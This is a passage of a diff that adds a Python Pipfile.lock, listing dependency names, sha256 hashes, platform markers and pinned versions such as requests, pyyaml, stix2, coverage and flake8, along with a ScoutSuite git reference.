"sha256:595d397df65f1b2e0beaca63a883ae6d8b6df1cdea85c16ae85f6d2e648133fe", + "sha256:87604a4087434cd814ad8973bd47d6524bd1fa9e971ce428e76b62a5e0860fdf", + "sha256:88981dd3cfb07432625b180f49bf4e179fb8cbb5704cd512e38dd63636af7a17", + "sha256:8c9d33968aa7fcddf44e47750e18f3d034c3e443a707688a008a2e52bbef7e96", + "sha256:93367c96e3a76dfe5003d8291ae16454ca7d84bb24d721e0b74a07610b7be4a7", + "sha256:9635df6998a70282bd36e7ac2a5cef9ead1627b0a63b17c731312c7a0daebb72", + "sha256:98f62a3f60aa64894a290fb7494bfa0bfa0a199e9e052e1ac293b2ad3cd2818b", + "sha256:c866f04a182a8cb9b7855de065113bbd2e40524f570db73ef1ee99ff0a5cc2f0", + "sha256:dafa18e95bf2a92f298fe9c582b0e205aca45c55f989937c52c454ce65b93c78", + "sha256:fb3b4933e0382ba49305cc6cd3fb18525df7fd96aa434de19ce0878133bf8e4a" + ], + "markers": "python_version < '3.10' and sys_platform == 'win32' and implementation_name == 'cpython'", + "version": "==301" + }, + "pywin32-ctypes": { + "hashes": [ + "sha256:24ffc3b341d457d48e8922352130cf2644024a4ff09762a2261fd34c36ee5942", + "sha256:9dc2d991b3479cc2df15930958b674a48a227d5361d413827a4cfd0b5876fc98" + ], + "markers": "sys_platform == 'win32'", + "version": "==0.2.0" + }, + "pyyaml": { + "hashes": [ + "sha256:06a0d7ba600ce0b2d2fe2e78453a470b5a6e000a985dd4a4e54e436cc36b0e97", + "sha256:240097ff019d7c70a4922b6869d8a86407758333f02203e0fc6ff79c5dcede76", + "sha256:4f4b913ca1a7319b33cfb1369e91e50354d6f07a135f3b901aca02aa95940bd2", + "sha256:6034f55dab5fea9e53f436aa68fa3ace2634918e8b5994d82f3621c04ff5ed2e", + "sha256:69f00dca373f240f842b2931fb2c7e14ddbacd1397d57157a9b005a6a9942648", + "sha256:73f099454b799e05e5ab51423c7bcf361c58d3206fa7b0d555426b1f4d9a3eaf", + "sha256:74809a57b329d6cc0fdccee6318f44b9b8649961fa73144a98735b0aaf029f1f", + "sha256:7739fc0fa8205b3ee8808aea45e968bc90082c10aef6ea95e855e10abf4a37b2", + "sha256:95f71d2af0ff4227885f7a6605c37fd53d3a106fcab511b8860ecca9fcf400ee", + "sha256:ad9c67312c84def58f3c04504727ca879cb0013b2517c85a9a253f0cb6380c0a", + "sha256:b8eac752c5e14d3eca0e6dd9199cd627518cb5ec06add0de9d32baeee6fe645d", + "sha256:cc8955cfbfc7a115fa81d85284ee61147059a753344bc51098f3ccd69b0d7e0c", + "sha256:d13155f591e6fcc1ec3b30685d50bf0711574e2c0dfffd7644babf8b5102ca1a" + ], + "markers": "python_version != '3.4'", + "version": "==5.3.1" + }, + "requests": { + "hashes": [ + "sha256:27973dd4a904a4f13b263a19c866c13b92a39ed1c964655f025f3f8d3d75b804", + "sha256:c210084e36a42ae6b9219e00e48287def368a26d03a048ddad7bfee44f75871e" + ], + "index": "pypi", + "version": "==2.25.1" + }, + "ring": { + "hashes": [ + "sha256:c6b4ea68ab79055fce640e68af4a2e2fddd624a803fac2e4edfa33c8727c9601" + ], + "index": "pypi", + "version": "==0.8.3" + }, + "rsa": { + "hashes": [ + "sha256:35c5b5f6675ac02120036d97cf96f1fde4d49670543db2822ba5015e21a18032", + "sha256:4d409f5a7d78530a4a2062574c7bd80311bc3af29b364e293aa9b03eea77714f" + ], + "markers": "python_version != '3.4'", + "version": "==4.5" + }, + "s3transfer": { + "hashes": [ + "sha256:35627b86af8ff97e7ac27975fe0a98a312814b46c6333d8a6b889627bcd80994", + "sha256:efa5bd92a897b6a8d5c1383828dca3d52d0790e0756d49740563a3fb6ed03246" + ], + "version": "==0.3.7" + }, + "scoutsuite": { + "git": "https://github.com/guardicode/ScoutSuite", + "ref": "eac33ac5b0a84e4a2e29682cf3568271eb595003" + }, + "simplejson": { + "hashes": [ + "sha256:034550078a11664d77bc1a8364c90bb7eef0e44c2dbb1fd0a4d92e3997088667", + "sha256:05b43d568300c1cd43f95ff4bfcff984bc658aa001be91efb3bb21df9d6288d3", + "sha256:0dd9d9c738cb008bfc0862c9b8fa6743495c03a0ed543884bf92fb7d30f8d043", + "sha256:10fc250c3edea4abc15d930d77274ddb8df4803453dde7ad50c2f5565a18a4bb", + "sha256:2862beabfb9097a745a961426fe7daf66e1714151da8bb9a0c430dde3d59c7c0", + "sha256:292c2e3f53be314cc59853bd20a35bf1f965f3bc121e007ab6fd526ed412a85d", + "sha256:2d3eab2c3fe52007d703a26f71cf649a8c771fcdd949a3ae73041ba6797cfcf8", + "sha256:2e7b57c2c146f8e4dadf84977a83f7ee50da17c8861fd7faf694d55e3274784f", + "sha256:311f5dc2af07361725033b13cc3d0351de3da8bede3397d45650784c3f21fbcf", + "sha256:344e2d920a7f27b4023c087ab539877a1e39ce8e3e90b867e0bfa97829824748", + "sha256:3fabde09af43e0cbdee407555383063f8b45bfb52c361bc5da83fcffdb4fd278", + "sha256:42b8b8dd0799f78e067e2aaae97e60d58a8f63582939af60abce4c48631a0aa4", + "sha256:4b3442249d5e3893b90cb9f72c7d6ce4d2ea144d2c0d9f75b9ae1e5460f3121a", + "sha256:55d65f9cc1b733d85ef95ab11f559cce55c7649a2160da2ac7a078534da676c8", + "sha256:5c659a0efc80aaaba57fcd878855c8534ecb655a28ac8508885c50648e6e659d", + "sha256:72d8a3ffca19a901002d6b068cf746be85747571c6a7ba12cbcf427bfb4ed971", + "sha256:75ecc79f26d99222a084fbdd1ce5aad3ac3a8bd535cd9059528452da38b68841", + "sha256:76ac9605bf2f6d9b56abf6f9da9047a8782574ad3531c82eae774947ae99cc3f", + "sha256:7d276f69bfc8c7ba6c717ba8deaf28f9d3c8450ff0aa8713f5a3280e232be16b", + "sha256:7f10f8ba9c1b1430addc7dd385fc322e221559d3ae49b812aebf57470ce8de45", + "sha256:8042040af86a494a23c189b5aa0ea9433769cc029707833f261a79c98e3375f9", + "sha256:813846738277729d7db71b82176204abc7fdae2f566e2d9fcf874f9b6472e3e6", + "sha256:845a14f6deb124a3bcb98a62def067a67462a000e0508f256f9c18eff5847efc", + "sha256:869a183c8e44bc03be1b2bbcc9ec4338e37fa8557fc506bf6115887c1d3bb956", + "sha256:8acf76443cfb5c949b6e781c154278c059b09ac717d2757a830c869ba000cf8d", + "sha256:8f713ea65958ef40049b6c45c40c206ab363db9591ff5a49d89b448933fa5746", + "sha256:934115642c8ba9659b402c8bdbdedb48651fb94b576e3b3efd1ccb079609b04a", + "sha256:9551f23e09300a9a528f7af20e35c9f79686d46d646152a0c8fc41d2d074d9b0", + "sha256:9a2b7543559f8a1c9ed72724b549d8cc3515da7daf3e79813a15bdc4a769de25", + "sha256:a55c76254d7cf8d4494bc508e7abb993a82a192d0db4552421e5139235604625", + "sha256:ad8f41c2357b73bc9e8606d2fa226233bf4d55d85a8982ecdfd55823a6959995", + "sha256:af4868da7dd53296cd7630687161d53a7ebe2e63814234631445697bd7c29f46", + "sha256:afebfc3dd3520d37056f641969ce320b071bc7a0800639c71877b90d053e087f", + "sha256:b59aa298137ca74a744c1e6e22cfc0bf9dca3a2f41f51bc92eb05695155d905a", + "sha256:bc00d1210567a4cdd215ac6e17dc00cb9893ee521cee701adfd0fa43f7c73139", + "sha256:c1cb29b1fced01f97e6d5631c3edc2dadb424d1f4421dad079cb13fc97acb42f", + "sha256:c94dc64b1a389a416fc4218cd4799aa3756f25940cae33530a4f7f2f54f166da", + "sha256:ceaa28a5bce8a46a130cd223e895080e258a88d51bf6e8de2fc54a6ef7e38c34", + "sha256:cff6453e25204d3369c47b97dd34783ca820611bd334779d22192da23784194b", + "sha256:d0b64409df09edb4c365d95004775c988259efe9be39697d7315c42b7a5e7e94", + "sha256:d4813b30cb62d3b63ccc60dd12f2121780c7a3068db692daeb90f989877aaf04", + "sha256:da3c55cdc66cfc3fffb607db49a42448785ea2732f055ac1549b69dcb392663b", + "sha256:e058c7656c44fb494a11443191e381355388443d543f6fc1a245d5d238544396", + "sha256:fed0f22bf1313ff79c7fc318f7199d6c2f96d4de3234b2f12a1eab350e597c06", + "sha256:ffd4e4877a78c84d693e491b223385e0271278f5f4e1476a4962dca6824ecfeb" + ], + "markers": "python_version >= '2.5' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==3.17.2" + }, + "six": { + "hashes": [ + "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926", + "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254" + ], + "index": "pypi", + "version": "==1.16.0" + }, + "sqlitedict": { + "hashes": [ + "sha256:2affcc301aacd4da7511692601ecbde392294205af418498f7d6d3ec0dbcad56" + ], + "version": "==1.7.0" + }, + "stix2": { + "hashes": [ + "sha256:15c9cf599f5c43124e76fe71b883e4918f6f4cf65b084c58ec64b6180f45c938", + "sha256:3ab60082e4bffb39f75ea9ddc338b64126ff1cd086e6173d39b860191ac26ff4" + ], + "index": "pypi", + "version": "==2.1.0" + }, + "stix2-patterns": { + "hashes": [ + "sha256:174fe5302d2c3223205033af987754132a9ea45a9f8e08aefafbe0549c889ea4", + "sha256:bc46cc4eba44b76a17eab7a3ff67f35203543cdb918ab24c1ebd58403fa27992" + ], + "version": "==1.3.2" + }, + "tempora": { + "hashes": [ + "sha256:c54da0f05405f04eb67abbb1dff4448fd91428b58cb00f0f645ea36f6a927950", + "sha256:ef2d8bb35902d5ea7da95df33456685a6d305b97f311725c12e55c13d85c0938" + ], + "markers": "python_version >= '3.6'", + "version": "==4.1.1" + }, + "tqdm": { + "hashes": [ + "sha256:5aa445ea0ad8b16d82b15ab342de6b195a722d75fc1ef9934a46bba6feafbc64", + "sha256:8bb94db0d4468fea27d004a0f1d1c02da3cdedc00fe491c0de986b76a04d6b0a" + ], + "index": "pypi", + "version": "==4.61.2" + }, + "typing-extensions": { + "hashes": [ + "sha256:0ac0f89795dd19de6b97debb0c6af1c70987fd80a2d62d1958f7e56fcc31b497", + "sha256:50b6f157849174217d0656f99dc82fe932884fb250826c18350e159ec6cdf342", + "sha256:779383f6086d90c99ae41cf0ff39aac8a7937a9283ce0a414e5dd782f4c94a84" + ], + "markers": "python_version < '3.8'", + "version": "==3.10.0.0" + }, + "urllib3": { + "hashes": [ + "sha256:8d7eaa5a82a1cac232164990f04874c594c9453ec55eef02eab885aa02fc17a2", + "sha256:f5321fbe4bf3fefa0efd0bfe7fb14e90909eb62a48ccda331726b4319897dd5e" + ], + "markers": "python_version != '3.4'", + "version": "==1.25.11" + }, + "werkzeug": { + "hashes": [ + "sha256:1de1db30d010ff1af14a009224ec49ab2329ad2cde454c8a708130642d579c42", + "sha256:6c1ec500dcdba0baa27600f6a22f6333d8b662d22027ff9f6202e3367413caa8" + ], + "index": "pypi", + "version": "==2.0.1" + }, + "wirerope": { + "hashes": [ + "sha256:0af78b825c4b0e43c79bb038e8d85c86540f85eddf295da5a7e17142ef6c7ee9" + ], + "version": "==0.4.3" + }, + "zc.lockfile": { + "hashes": [ + "sha256:307ad78227e48be260e64896ec8886edc7eae22d8ec53e4d528ab5537a83203b", + "sha256:cc33599b549f0c8a248cb72f3bf32d77712de1ff7ee8814312eb6456b42c015f" + ], + "version": "==2.0" + }, + "zipp": { + "hashes": [ + "sha256:957cfda87797e389580cb8b9e3870841ca991e2125350677b2ca83a0e99390a3", + "sha256:f5812b1e007e48cff63449a5e9f4e7ebea716b4111f9c4f9a645f91d579bf0c4" + ], + "markers": "python_version >= '3.6'", + "version": "==3.5.0" + }, + "zope.event": { + "hashes": [ + "sha256:2666401939cdaa5f4e0c08cf7f20c9b21423b95e88f4675b1443973bdb080c42", + "sha256:5e76517f5b9b119acf37ca8819781db6c16ea433f7e2062c4afc2b6fbedb1330" + ], + "version": "==4.5.0" + }, + "zope.interface": { + "hashes": [ + "sha256:08f9636e99a9d5410181ba0729e0408d3d8748026ea938f3b970a0249daa8192", + "sha256:0b465ae0962d49c68aa9733ba92a001b2a0933c317780435f00be7ecb959c702", + "sha256:0cba8477e300d64a11a9789ed40ee8932b59f9ee05f85276dbb4b59acee5dd09", + "sha256:0cee5187b60ed26d56eb2960136288ce91bcf61e2a9405660d271d1f122a69a4", + "sha256:0ea1d73b7c9dcbc5080bb8aaffb776f1c68e807767069b9ccdd06f27a161914a", + "sha256:0f91b5b948686659a8e28b728ff5e74b1be6bf40cb04704453617e5f1e945ef3", + "sha256:15e7d1f7a6ee16572e21e3576d2012b2778cbacf75eb4b7400be37455f5ca8bf", + "sha256:17776ecd3a1fdd2b2cd5373e5ef8b307162f581c693575ec62e7c5399d80794c", + "sha256:194d0bcb1374ac3e1e023961610dc8f2c78a0f5f634d0c737691e215569e640d", + "sha256:1c0e316c9add0db48a5b703833881351444398b04111188069a26a61cfb4df78", + "sha256:205e40ccde0f37496904572035deea747390a8b7dc65146d30b96e2dd1359a83", + "sha256:273f158fabc5ea33cbc936da0ab3d4ba80ede5351babc4f577d768e057651531", + "sha256:2876246527c91e101184f63ccd1d716ec9c46519cc5f3d5375a3351c46467c46", + "sha256:2c98384b254b37ce50eddd55db8d381a5c53b4c10ee66e1e7fe749824f894021", + "sha256:2e5a26f16503be6c826abca904e45f1a44ff275fdb7e9d1b75c10671c26f8b94", + "sha256:334701327f37c47fa628fc8b8d28c7d7730ce7daaf4bda1efb741679c2b087fc", + "sha256:3748fac0d0f6a304e674955ab1365d515993b3a0a865e16a11ec9d86fb307f63", + "sha256:3c02411a3b62668200910090a0dff17c0b25aaa36145082a5a6adf08fa281e54", + "sha256:3dd4952748521205697bc2802e4afac5ed4b02909bb799ba1fe239f77fd4e117", + "sha256:3f24df7124c323fceb53ff6168da70dbfbae1442b4f3da439cd441681f54fe25", + "sha256:469e2407e0fe9880ac690a3666f03eb4c3c444411a5a5fddfdabc5d184a79f05", + "sha256:4de4bc9b6d35c5af65b454d3e9bc98c50eb3960d5a3762c9438df57427134b8e", + "sha256:5208ebd5152e040640518a77827bdfcc73773a15a33d6644015b763b9c9febc1", + "sha256:52de7fc6c21b419078008f697fd4103dbc763288b1406b4562554bd47514c004", + "sha256:5bb3489b4558e49ad2c5118137cfeaf59434f9737fa9c5deefc72d22c23822e2", + "sha256:5dba5f530fec3f0988d83b78cc591b58c0b6eb8431a85edd1569a0539a8a5a0e", + "sha256:5dd9ca406499444f4c8299f803d4a14edf7890ecc595c8b1c7115c2342cadc5f", + "sha256:5f931a1c21dfa7a9c573ec1f50a31135ccce84e32507c54e1ea404894c5eb96f", + "sha256:63b82bb63de7c821428d513607e84c6d97d58afd1fe2eb645030bdc185440120", + "sha256:66c0061c91b3b9cf542131148ef7ecbecb2690d48d1612ec386de9d36766058f", + "sha256:6f0c02cbb9691b7c91d5009108f975f8ffeab5dff8f26d62e21c493060eff2a1", + "sha256:71aace0c42d53abe6fc7f726c5d3b60d90f3c5c055a447950ad6ea9cec2e37d9", + "sha256:7d97a4306898b05404a0dcdc32d9709b7d8832c0c542b861d9a826301719794e", + "sha256:7df1e1c05304f26faa49fa752a8c690126cf98b40b91d54e6e9cc3b7d6ffe8b7", + "sha256:8270252effc60b9642b423189a2fe90eb6b59e87cbee54549db3f5562ff8d1b8", + "sha256:867a5ad16892bf20e6c4ea2aab1971f45645ff3102ad29bd84c86027fa99997b", + "sha256:877473e675fdcc113c138813a5dd440da0769a2d81f4d86614e5d62b69497155", + "sha256:8892f89999ffd992208754851e5a052f6b5db70a1e3f7d54b17c5211e37a98c7", + "sha256:9a9845c4c6bb56e508651f005c4aeb0404e518c6f000d5a1123ab077ab769f5c", + "sha256:a1e6e96217a0f72e2b8629e271e1b280c6fa3fe6e59fa8f6701bec14e3354325", + "sha256:a8156e6a7f5e2a0ff0c5b21d6bcb45145efece1909efcbbbf48c56f8da68221d", + "sha256:a9506a7e80bcf6eacfff7f804c0ad5350c8c95b9010e4356a4b36f5322f09abb", + "sha256:af310ec8335016b5e52cae60cda4a4f2a60a788cbb949a4fbea13d441aa5a09e", + "sha256:b0297b1e05fd128d26cc2460c810d42e205d16d76799526dfa8c8ccd50e74959", + "sha256:bf68f4b2b6683e52bec69273562df15af352e5ed25d1b6641e7efddc5951d1a7", + "sha256:d0c1bc2fa9a7285719e5678584f6b92572a5b639d0e471bb8d4b650a1a910920", + "sha256:d4d9d6c1a455d4babd320203b918ccc7fcbefe308615c521062bc2ba1aa4d26e", + "sha256:db1fa631737dab9fa0b37f3979d8d2631e348c3b4e8325d6873c2541d0ae5a48", + "sha256:dd93ea5c0c7f3e25335ab7d22a507b1dc43976e1345508f845efc573d3d779d8", + "sha256:f44e517131a98f7a76696a7b21b164bcb85291cee106a23beccce454e1f433a4", + "sha256:f7ee479e96f7ee350db1cf24afa5685a5899e2b34992fb99e1f7c1b0b758d263" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==5.4.0" + } + }, + "develop": { + "appdirs": { + "hashes": [ + "sha256:7d5d0167b2b1ba821647616af46a749d1c653740dd0d2415100fe26e27afdf41", + "sha256:a841dacd6b99318a741b166adb07e19ee71a274450e68237b4650ca1055ab128" + ], + "version": "==1.4.4" + }, + "atomicwrites": { + "hashes": [ + "sha256:6d1784dea7c0c8d4a5172b6c620f40b6e4cbfdf96d783691f2e1302a7b88e197", + "sha256:ae70396ad1a434f9c7046fd2dd196fc04b12f9e91ffb859164193be8b6168a7a" + ], + "markers": "sys_platform == 'win32'", + "version": "==1.4.0" + }, + "attrs": { + "hashes": [ + "sha256:149e90d6d8ac20db7a955ad60cf0e6881a3f20d37096140088356da6c716b0b1", + "sha256:ef6aaac3ca6cd92904cdd0d83f629a15f18053ec84e6432106f7a4d04ae4f5fb" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==21.2.0" + }, + "black": { + "hashes": [ + "sha256:1c02557aa099101b9d21496f8a914e9ed2222ef70336404eeeac8edba836fbea" + ], + "index": "pypi", + "version": "==20.8b1" + }, + "certifi": { + "hashes": [ + "sha256:2bbf76fd432960138b3ef6dda3dde0544f27cbf8546c458e60baf371917ba9ee", + "sha256:50b1e4f8446b06f41be7dd6338db18e0990601dce795c2b1686458aa7e8fa7d8" + ], + "version": "==2021.5.30" + }, + "chardet": { + "hashes": [ + "sha256:0d6f53a15db4120f2b08c94f11e7d93d2c911ee118b6b30a04ec3ee8310179fa", + "sha256:f864054d66fd9118f2e67044ac8981a54775ec5b67aed0441892edb553d21da5" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==4.0.0" + }, + "click": { + "hashes": [ + "sha256:8c04c11192119b1ef78ea049e0a6f0463e4c48ef00a30160c704337586f3ad7a", + "sha256:fba402a4a47334742d782209a7c79bc448911afe1149d07bdabdf480b3e2f4b6" + ], + "markers": "python_version >= '3.6'", + "version": "==8.0.1" + }, + "colorama": { + "hashes": [ + "sha256:7d73d2a99753107a36ac6b455ee49046802e59d9d076ef8e47b61499fa29afff", + "sha256:e96da0d330793e2cb9485e9ddfd918d456036c7149416295932478192f4436a1" + ], + "markers": "python_version != '3.4' and platform_system == 'Windows' and sys_platform == 'win32' and platform_system == 'Windows'", + "version": "==0.4.3" + }, + "coverage": { + "hashes": [ + "sha256:004d1880bed2d97151facef49f08e255a20ceb6f9432df75f4eef018fdd5a78c", + "sha256:01d84219b5cdbfc8122223b39a954820929497a1cb1422824bb86b07b74594b6", + "sha256:040af6c32813fa3eae5305d53f18875bedd079960822ef8ec067a66dd8afcd45", + "sha256:06191eb60f8d8a5bc046f3799f8a07a2d7aefb9504b0209aff0b47298333302a", + "sha256:13034c4409db851670bc9acd836243aeee299949bd5673e11844befcb0149f03", + "sha256:13c4ee887eca0f4c5a247b75398d4114c37882658300e153113dafb1d76de529", + "sha256:184a47bbe0aa6400ed2d41d8e9ed868b8205046518c52464fde713ea06e3a74a", + "sha256:18ba8bbede96a2c3dde7b868de9dcbd55670690af0988713f0603f037848418a", + "sha256:1aa846f56c3d49205c952d8318e76ccc2ae23303351d9270ab220004c580cfe2", + "sha256:217658ec7187497e3f3ebd901afdca1af062b42cfe3e0dafea4cced3983739f6", + "sha256:24d4a7de75446be83244eabbff746d66b9240ae020ced65d060815fac3423759", + "sha256:2910f4d36a6a9b4214bb7038d537f015346f413a975d57ca6b43bf23d6563b53", + "sha256:2949cad1c5208b8298d5686d5a85b66aae46d73eec2c3e08c817dd3513e5848a", + "sha256:2a3859cb82dcbda1cfd3e6f71c27081d18aa251d20a17d87d26d4cd216fb0af4", + "sha256:2cafbbb3af0733db200c9b5f798d18953b1a304d3f86a938367de1567f4b5bff", + "sha256:2e0d881ad471768bf6e6c2bf905d183543f10098e3b3640fc029509530091502", + "sha256:30c77c1dc9f253283e34c27935fded5015f7d1abe83bc7821680ac444eaf7793", + "sha256:3487286bc29a5aa4b93a072e9592f22254291ce96a9fbc5251f566b6b7343cdb", + "sha256:372da284cfd642d8e08ef606917846fa2ee350f64994bebfbd3afb0040436905", + "sha256:41179b8a845742d1eb60449bdb2992196e211341818565abded11cfa90efb821", + "sha256:44d654437b8ddd9eee7d1eaee28b7219bec228520ff809af170488fd2fed3e2b", + "sha256:4a7697d8cb0f27399b0e393c0b90f0f1e40c82023ea4d45d22bce7032a5d7b81", + "sha256:51cb9476a3987c8967ebab3f0fe144819781fca264f57f89760037a2ea191cb0", + "sha256:52596d3d0e8bdf3af43db3e9ba8dcdaac724ba7b5ca3f6358529d56f7a166f8b", + "sha256:53194af30d5bad77fcba80e23a1441c71abfb3e01192034f8246e0d8f99528f3", + "sha256:5fec2d43a2cc6965edc0bb9e83e1e4b557f76f843a77a2496cbe719583ce8184", + "sha256:6c90e11318f0d3c436a42409f2749ee1a115cd8b067d7f14c148f1ce5574d701", + "sha256:74d881fc777ebb11c63736622b60cb9e4aee5cace591ce274fb69e582a12a61a", + "sha256:7501140f755b725495941b43347ba8a2777407fc7f250d4f5a7d2a1050ba8e82", + "sha256:796c9c3c79747146ebd278dbe1e5c5c05dd6b10cc3bcb8389dfdf844f3ead638", + "sha256:869a64f53488f40fa5b5b9dcb9e9b2962a66a87dab37790f3fcfb5144b996ef5", + "sha256:8963a499849a1fc54b35b1c9f162f4108017b2e6db2c46c1bed93a72262ed083", + "sha256:8d0a0725ad7c1a0bcd8d1b437e191107d457e2ec1084b9f190630a4fb1af78e6", + "sha256:900fbf7759501bc7807fd6638c947d7a831fc9fdf742dc10f02956ff7220fa90", + "sha256:92b017ce34b68a7d67bd6d117e6d443a9bf63a2ecf8567bb3d8c6c7bc5014465", + "sha256:970284a88b99673ccb2e4e334cfb38a10aab7cd44f7457564d11898a74b62d0a", + "sha256:972c85d205b51e30e59525694670de6a8a89691186012535f9d7dbaa230e42c3", + "sha256:9a1ef3b66e38ef8618ce5fdc7bea3d9f45f3624e2a66295eea5e57966c85909e", + "sha256:af0e781009aaf59e25c5a678122391cb0f345ac0ec272c7961dc5455e1c40066", + "sha256:b6d534e4b2ab35c9f93f46229363e17f63c53ad01330df9f2d6bd1187e5eaacf", + "sha256:b7895207b4c843c76a25ab8c1e866261bcfe27bfaa20c192de5190121770672b", + "sha256:c0891a6a97b09c1f3e073a890514d5012eb256845c451bd48f7968ef939bf4ae", + "sha256:c2723d347ab06e7ddad1a58b2a821218239249a9e4365eaff6649d31180c1669", + "sha256:d1f8bf7b90ba55699b3a5e44930e93ff0189aa27186e96071fac7dd0d06a1873", + "sha256:d1f9ce122f83b2305592c11d64f181b87153fc2c2bbd3bb4a3dde8303cfb1a6b", + "sha256:d314ed732c25d29775e84a960c3c60808b682c08d86602ec2c3008e1202e3bb6", + "sha256:d636598c8305e1f90b439dbf4f66437de4a5e3c31fdf47ad29542478c8508bbb", + "sha256:deee1077aae10d8fa88cb02c845cfba9b62c55e1183f52f6ae6a2df6a2187160", + "sha256:ebe78fe9a0e874362175b02371bdfbee64d8edc42a044253ddf4ee7d3c15212c", + "sha256:f030f8873312a16414c0d8e1a1ddff2d3235655a2174e3648b4fa66b3f2f1079", + "sha256:f0b278ce10936db1a37e6954e15a3730bea96a0997c26d7fee88e6c396c2086d", + "sha256:f11642dddbb0253cc8853254301b51390ba0081750a8ac03f20ea8103f0c56b6" + ], + "index": "pypi", + "version": "==5.5" + }, + "distlib": { + "hashes": [ + "sha256:106fef6dc37dd8c0e2c0a60d3fca3e77460a48907f335fa28420463a6f799736", + "sha256:23e223426b28491b1ced97dc3bbe183027419dfc7982b4fa2f05d5f3ff10711c" + ], + "version": "==0.3.2" + }, + "dlint": { + "hashes": [ + "sha256:e7297325f57e6b5318d88fba2497f9fea6830458cd5aecb36150856db010f409" + ], + "index": "pypi", + "version": "==0.11.0" + }, + "filelock": { + "hashes": [ + "sha256:18d82244ee114f543149c66a6e0c14e9c4f8a1044b5cdaadd0f82159d6a6ff59", + "sha256:929b7d63ec5b7d6b71b0fa5ac14e030b3f70b75747cef1b10da9b879fef15836" + ], + "version": "==3.0.12" + }, + "flake8": { + "hashes": [ + "sha256:12d05ab02614b6aee8df7c36b97d1a3b2372761222b19b58621355e82acddcff", + "sha256:78873e372b12b093da7b5e5ed302e8ad9e988b38b063b61ad937f26ca58fc5f0" + ], + "index": "pypi", + "version": "==3.9.0" + }, + "idna": { + "hashes": [ + "sha256:b307872f855b18632ce0c21c5e45be78c0ea7ae4c15c828c20788b26921eb3f6", + "sha256:b97d804b1e9b523befed77c48dacec60e6dcb0b5391d57af6a65a312a90648c0" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==2.10" + }, + "importlib-metadata": { + "hashes": [ + "sha256:079ada16b7fc30dfbb5d13399a5113110dab1aa7c2bc62f66af75f0b717c8cac", + "sha256:9f55f560e116f8643ecf2922d9cd3e1c7e8d52e683178fecd9d08f6aa357e11e" + ], + "markers": "python_version < '3.8'", + "version": "==4.6.1" + }, + "iniconfig": { + "hashes": [ + "sha256:011e24c64b7f47f6ebd835bb12a743f2fbe9a26d4cecaa7f53bc4f35ee9da8b3", + "sha256:bc3af051d7d14b2ee5ef9969666def0cd1a000e121eaea580d4a313df4b37f32" + ], + "version": "==1.1.1" + }, + "isort": { + "hashes": [ + "sha256:0a943902919f65c5684ac4e0154b1ad4fac6dcaa5d9f3426b732f1c8b5419be6", + "sha256:2bb1680aad211e3c9944dbce1d4ba09a989f04e238296c87fe2139faa26d655d" + ], + "index": "pypi", + "version": "==5.8.0" + }, + "mccabe": { + "hashes": [ + "sha256:ab8a6258860da4b6677da4bd2fe5dc2c659cff31b3ee4f7f5d64e79735b80d42", + "sha256:dd8d182285a0fe56bace7f45b5e7d1a6ebcbf524e8f3bd87eb0f125271b8831f" + ], + "version": "==0.6.1" + }, + "mongomock": { + "hashes": [ + "sha256:01ce0c4eb02b2eced0a30882412444eaf6de27a90f2502bee64e04e3b8ecdc90", + "sha256:d9945e7c87c221aed47c6c10708376351a5f5ee48060943c56ba195be425b0dd" + ], + "index": "pypi", + "version": "==3.23.0" + }, + "mypy-extensions": { + "hashes": [ + "sha256:090fedd75945a69ae91ce1303b5824f428daf5a028d2f6ab8a299250a846f15d", + "sha256:2d82818f5bb3e369420cb3c4060a7970edba416647068eb4c5343488a6c604a8" + ], + "version": "==0.4.3" + }, + "packaging": { + "hashes": [ + "sha256:7dc96269f53a4ccec5c0670940a4281106dd0bb343f47b7471f779df49c2fbe7", + "sha256:c86254f9220d55e31cc94d69bade760f0847da8000def4dfe1c6b872fd14ff14" + ], + "markers": "python_version >= '3.6'", + "version": "==21.0" + }, + "pathspec": { + "hashes": [ + "sha256:86379d6b86d75816baba717e64b1a3a3469deb93bb76d613c9ce79edc5cb68fd", + "sha256:aa0cb481c4041bf52ffa7b0d8fa6cd3e88a2ca4879c533c9153882ee2556790d" + ], + "version": "==0.8.1" + }, + "pluggy": { + "hashes": [ + "sha256:15b2acde666561e1298d71b523007ed7364de07029219b604cf808bfa1c765b0", + "sha256:966c145cd83c96502c3c3868f50408687b38434af77734af1e9ca461a4081d2d" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==0.13.1" + }, + "py": { + "hashes": [ + "sha256:21b81bda15b66ef5e1a777a21c4dcd9c20ad3efd0b3f817e7a809035269e1bd3", + "sha256:3b80836aa6d1feeaa108e046da6423ab8f6ceda6468545ae8d02d9d58d18818a" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==1.10.0" + }, + "pycodestyle": { + "hashes": [ + "sha256:514f76d918fcc0b55c6680472f0a37970994e07bbb80725808c17089be302068", + "sha256:c389c1d06bf7904078ca03399a4816f974a1d590090fecea0c63ec26ebaf1cef" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==2.7.0" + }, + "pyflakes": { + "hashes": [ + "sha256:7893783d01b8a89811dd72d7dfd4d84ff098e5eed95cfa8905b22bbffe52efc3", + "sha256:f5bc8ecabc05bb9d291eb5203d6810b49040f6ff446a756326104746cc00c1db" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==2.3.1" + }, + "pyparsing": { + "hashes": [ + "sha256:c203ec8783bf771a155b207279b9bccb8dea02d8f0c9e5f8ead507bc3246ecc1", + "sha256:ef9d7589ef3c200abe66653d3f1ab1033c3c419ae9b9bdb1240a85b024efc88b" + ], + "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==2.4.7" + }, + "pytest": { + "hashes": [ + 